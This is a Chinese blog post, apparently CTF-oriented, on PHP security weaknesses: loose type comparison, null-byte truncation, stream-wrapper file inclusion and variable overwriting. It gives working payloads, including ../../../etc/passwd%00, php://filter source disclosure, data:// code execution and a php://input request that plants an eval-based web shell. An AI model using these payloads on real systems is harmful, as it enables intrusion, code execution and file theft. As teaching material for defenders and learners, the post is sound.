首页 > 编程语言 >PHP语言特性

PHP语言特性

时间:2023-11-01 23:34:57浏览次数:28  
标签:php 语言 zip url fopen 特性 allow PHP

1.弱类型

'' == 0 == false
'123' == 123
'abc' == 0
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

php中'=='和'==='两比较 前者会自动进行类型转换而不改变原来的值,漏洞常存在于'=='
'=='md5碰撞, '===' md5数组
数组a[]=1与数组b[]=2 md5值相等

2.截断

PHP内核为C语言实现,在遇到NULL(\x00)字符,处理函数会将它当作结束标记

<?php
  $file =$_GET['file'];
include $file.'.tpl.html';
提交?file=../../../etc/passwd%00读取passwd文件

3.伪协议

PHP中内置了很多封装协议,如文件操作函数fopen()
假定有以下漏洞代码

<?php include($_GET['xxx']);?>

3.1 file://协议

用于访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名] 

3.2 php://协议

php:// 访问各个输入/输出流(I/O streams)

3.2.1 php://filter

读取源代码并进行base64编码输出
利用条件:allow_url_fopen :off/on- allow_url_include:off/on
输入 ?xxx=php://filter/convert.base64-encode/resource=文件路径 得到xxx加密后的源码: 再进行base64解码,获取到xxx的完整源码信息
?xxx=php://filter/convert.iconv.SJIS.UCS-4/resource=

3.2.2 php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:allow_url_fopen :off/on- allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[1]);?>');?>

发送报文,使本地生成一句话木马 shell.php

3.3 zip://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23只需要是zip的压缩包即可,后缀名可以任意更改。相同的类型还有zlib://和bzip2://
利用条件:allow_url_fopen :off/on- allow_url_include:off/on

zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\1.zip%23phpinfo.txt

3.4.data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用条件:allow_url_fopen :on- allow_url_include:on
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

data://text/plain,<?php%20phpinfo();?>
如果此处对特殊字符进行了过滤,还可以通过base64编码后再输入:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4.变量覆盖

4.1函数使用不当

4.1.1extract(),paste_str()

会将$GET传入的字符解析为变量名和变量的值

4.1.2mport_requset_variables()

其值由G,P,C组成,G为GET,P为POST,C为Cookies,排在前面的字符会覆盖排在后面的字符传去参数的值(存在4.1<php.version<5.4)

4.2 配置不当

当php版本<5.4时 PHP配置 register_globals=ON时便会出现此漏洞

<?php 
  	if($auth){
      	echo 'flag';
  	else
      	echo 'acess denied';
    }

利用 register_globals的特性,用户传入参数auth=1即可进入if语句,若if语句前初始化$auth变量则不会触发此漏洞

4.3 代码逻辑漏洞

PHP中可变变量的利用($$)
若存在使用foreach遍历数组($_GET,$_POST等)来注册变量,则会出现此漏洞

<?php
  $auth  =false;
foreach($_GET as $key =>$value){
  $$key=$value;
}
if ($auth)
  echo 'flag';
  else
  echo 'acess denied';

foreach将GET传入的参数注册为变量,即传入?auth=1即可

标签:php,语言,zip,url,fopen,特性,allow,PHP
From: https://www.cnblogs.com/Kawakaze777/p/17799304.html

相关文章

  • 实验3 C语言函数应用编程
    任务1源码1#include<stdio.h>2#include<stdlib.h>3#include<time.h>4#include<windows.h>5#defineN806voidprint_text(intline,intcol,chartext[]);//函数声明7voidprint_spaces(intn);//函数声明8voidprint_bl......
  • java八大特性
    简单性面向对象跨平台/可移植性分布式多线程健壮性安全性高性能 ......
  • php安装ffmpeg扩展
    如何安装php-ffmpeg删除putenv涵数首先项目根目录运行composerrequirephp-ffmpeg/php-ffmpeg然后系统安装ffmpeg宝塔安装wgethttp://download.bt.cn/install/ext/ffmpeg.sh&&shffmpeg.sh需要很久......
  • CEEMDAN+PE自适应噪声完备集合经验模态分解+排列熵重构分量 程序语言为matlab
    ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,代码获取、论文复现及科研仿真合作可私信。......
  • 2023-11-01:用go语言,沿街有一排连续的房屋。每间房屋内都藏有一定的现金, 现在有一位小
    2023-11-01:用go语言,沿街有一排连续的房屋。每间房屋内都藏有一定的现金,现在有一位小偷计划从这些房屋中窃取现金,由于相邻的房屋装有相互连通的防盗系统,所以小偷不会窃取相邻的房屋,小偷的窃取能力定义为他在窃取过程中能从单间房屋中窃取的最大金额,给你一个整数数组nums......
  • 2023-11-01:用go语言,沿街有一排连续的房屋。每间房屋内都藏有一定的现金, 现在有一位小
    2023-11-01:用go语言,沿街有一排连续的房屋。每间房屋内都藏有一定的现金,现在有一位小偷计划从这些房屋中窃取现金,由于相邻的房屋装有相互连通的防盗系统,所以小偷不会窃取相邻的房屋,小偷的窃取能力定义为他在窃取过程中能从单间房屋中窃取的最大金额,给你一个整数数组nums表示每......
  • C 语言多线程基础
    ......
  • 使用phpQuery库采集平安健康代码示例
    大家好,今天给大家分享的内容是使用phpQuery库采集平安健康相关视频,内容非常简单,篇幅也很短,但是确实很实用,一起学习一下吧。```php<?php//引入phpQuery库require_once'phpQuery/phpQuery.php';//创建一个phpQuery对象$jq=phpQuery::newDocument();//使用配置p......
  • Kotlin语言基础入门:Kotlin的常用写法
    Kotlin的常用写法1.方法参数的默认值可以给方法的参数指定默认值funsomeFunction(a:Int=0,b:String=""){/*方法实现*/}2.过滤列表找出列表中满足某个条件的所有元素。使用filter方法。其中x是自己定义的参数名。vallist=Arrays.asList(1,2,3,4,5,6,7)val......
  • Golang语言快速上手到综合实战-高并发聊天室、豆瓣电影爬虫
    Golang语言快速上手到综合实战-高并发聊天室、豆瓣电影爬虫我们公司需要快速迭代一款产品,当时,我们团队的后端框架是springmvc,该框架结构清晰,上手快,但是由于我们的产品迭代速度快,底层数据库操作接口变动频繁,导致service层工作量巨大,不胜其烦。另外,随着项目的成长,代码......